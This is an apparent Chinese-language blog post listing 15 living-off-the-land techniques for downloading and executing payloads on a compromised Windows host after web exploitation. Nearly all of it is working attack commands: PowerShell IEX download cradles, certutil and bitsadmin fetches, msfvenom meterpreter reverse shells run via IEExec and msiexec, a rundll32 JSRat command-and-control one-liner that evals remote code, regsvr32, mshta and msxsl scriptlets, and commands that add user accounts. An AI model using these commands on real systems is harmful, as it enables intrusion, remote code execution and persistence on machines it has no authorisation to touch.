windows 弹shell_Windows文件下载执行的15种姿势

当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢?

一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式另外呢,只要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。

在这里,本文收集了15种常见的文件下载执行的方式,并结合具体案例,让我们一起来看看是怎么实现的吧。

    • PowerShell

    • Bitsadmin

    • certutil

    • wget

    • ipc$文件共享

    • FTP

    • TFTP

    • WinScp

    • msiexec

    • IEExec

    • mshta

    • rundll32

    • regsvr32

    • MSXSL.EXE

    • pubprn.vbs


1、PowerShell

PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。

远程下载文件保存在本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

远程执行命令:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

8d09bc3c8835fda89bd89aedc9c1a3a9.png

2、Bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt

输入以上命令,成功下载文件。

3162ee088e8e2bf980ed03bae0d53fbc.png

3、certutil

用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

注:缓存目录为:

”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”
#下载文件certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php#删除缓存certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

daadcfe901710c925dbabb4c97f0b5e2.png

4、wget

Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。

wget.exe下载:https://eternallybored.org/misc/wget/

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

a576c7fbc8bb2a104dbca3443a119e61.png

5、ipc$文件共享

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

#建立远程IPC连接net use \\192.168.28.128\ipc$ /user:administrator "abc123!"#复制远程文件到本地主机copy \\192.168.28.128\c$\2.txt D:\test

8077c7c30baf0769f38c401f9a086d91.png

6、FTP

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

ftp 127.0.0.1usernamepasswordget fileexit

020204b28c92480c0168440e87df5b4c.png

7、TFTP

用来下载远程文件的最简单的网络协议,它基于UDP协议而实现

tftp32服务端下载地址:http://tftpd32.jounin.net/tftpd32_download.html

tftp -i 你的IP get 要下载文件 存放位置

d23af986f7d506a8cb07cc755dfb6490.png

8、WinScp

WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。

#上传winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt  /tmp/" "exit" /log=log_file.txt #下载winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.tx

使用winscp.exe 作为命令行参数执行远程上传/下载操作。

076bc2f3ba66235708fad44dd17bb004.png

9、msiexec

msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行:

#生成msi包msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi#远程执行msiexec /q /i http://192.168.28.128/evil.msi

成功添加了一个test用户:

052f53f0c259110ea013e6b11f29771f.png

10、IEExec

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。

生成Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe

使用管理员身份打开cmd,分别运行下面两条命令。

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

a6299f49a8e182f78fe9ab1e3bce9ddd.png

11、mshta

mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。

mshta http://192.168.28.128/run.hta

run.hta内容如下:

  Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令self.closedemo 

121e1391593a52cf648430e0abbc9bc0.png

12、rundll32

其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。

项目地址:

https://github.com/Hood3dRob1n/JSRat-Py.git

步骤一:开始运行JSRat,监听本地8888端口。

d2d6e83ed59581136bca065e71598f25.png

步骤二:通过url访问,可以查看恶意代码。

ee45d72facba959b2c0935f99b8aee3e.png

复制代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:

2eee7d9e93ff1c80b075877a29fb6be3.png

13、regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行

在目标机上执行:

regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

可以通过自己构造.sct文件,去下载执行我们的程序

<?XML version="1.0"?>    progid="ShortJSRAT"    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >                        ps  = "cmd.exe /c calc.exe";            new ActiveXObject("WScript.Shell").Run(ps,0,true);        ]]>

执行命令,成功弹计算器:

a03209f576a6b7dbfbad487e6ad83649.png

14、MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

下载地址为:

https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoftname>customer>customers>

exec.xsl

<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">   function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");   return nodelist.nextNode().xml;   }msxsl:script><xsl:template match="/">   <xsl:value-of select="user:xml(.)"/>xsl:template>xsl:stylesheet>

158deed9c2905dcbab748e16f06f883d.png

15、pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()

"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

test.sct

<?XML version="1.0"?><scriptlet><registration    description="Bandit"    progid="Bandit"    version="1.00"    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"    remotable="true"    >registration><script language="JScript">        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");]]>script>scriptlet>

d66607113e02c4360a91dce6eb58f5e9.png


b70a127b798a0f5fca5366a88e98301a.png

加入我的知识星球,获取更多安全干货。

82fc7cd690616f3932c94a8500447fee.png

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
windows版wget命令 使用帮助wget --help Startup: -V, --version display the version of Wget and exit. -b, --background go to background after startup. -e, --execute=COMMAND execute a `.wgetrc' command. Logging and input file: -o, --output-file=FILE log messages to FILE. -a, --append-output=FILE append messages to FILE. -d, --debug print debug output. -q, --quiet quiet (no output). -v, --verbose be verbose (this is the default). -nv, --non-verbose turn off verboseness, without being quiet. -i, --input-file=FILE read URL-s from file. -F, --force-html treat input file as HTML. Download: -t, --tries=NUMBER set number of retries to NUMBER (0 unlimits). -O --output-document=FILE write documents to FILE. -nc, --no-clobber don't clobber existing files. -c, --continue restart getting an existing file. --dot-style=STYLE set retrieval display style. -N, --timestamping don't retrieve files if older than local. -S, --server-response print server response. --spider don't download anything. -T, --timeout=SECONDS set the read timeout to SECONDS. -w, --wait=SECONDS wait SECONDS between retrievals. -Y, --proxy=on/off turn proxy on or off. -Q, --quota=NUMBER set retrieval quota to NUMBER. Directories: -nd --no-directories don't create directories. -x, --force-directories force creation of directories. -nH, --no-host-directories don't create host directories. -P, --directory-prefix=PREFIX save files to PREFIX/... --cut-dirs=NUMBER ignore NUMBER remote directory components. HTTP options: --http-user=USER set http user to USER. --http-passwd=PASS set http password to PASS. -C, --cache=on/off (dis)allow server-cached data (normally allowed). --ignore-length ignore `Content-Length' header field. --header=STRING insert STRING among the headers. --proxy-user=USER set USER as proxy username. --proxy-passwd=PASS set PASS as proxy password. -s, --save-headers save the HTTP headers to file. -U, --user-agent=AGENT identify as AGENT instead of Wget/VERSION. FTP options: --retr-symlinks retrieve FTP symbolic links. -g, --glob=on/off turn file name globbing on or off. --passive-ftp use the "passive" transfer mode. Recursive retrieval: -r, --recursive recursive web-suck -- use with care!. -l, --level=NUMBER maximum recursion depth (0 to unlimit). --delete-after delete downloaded files. -k, --convert-links convert non-relative links to relative. -m, --mirror turn on options suitable for mirroring. -nr, --dont-remove-listing don't remove `.listing' files. Recursive accept/reject: -A, --accept=LIST list of accepted extensions. -R, --reject=LIST list of rejected extensions. -D, --domains=LIST list of accepted domains. --exclude-domains=LIST comma-separated list of rejected domains. -L, --relative follow relative links only. --follow-ftp follow FTP links from HTML documents. -H, --span-hosts go to foreign hosts when recursive. -I, --include-directories=LIST list of allowed directories. -X, --exclude-directories=LIST list of excluded directories. -nh, --no-host-lookup don't DNS-lookup hosts. -np, --no-parent don't ascend to the parent directory.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值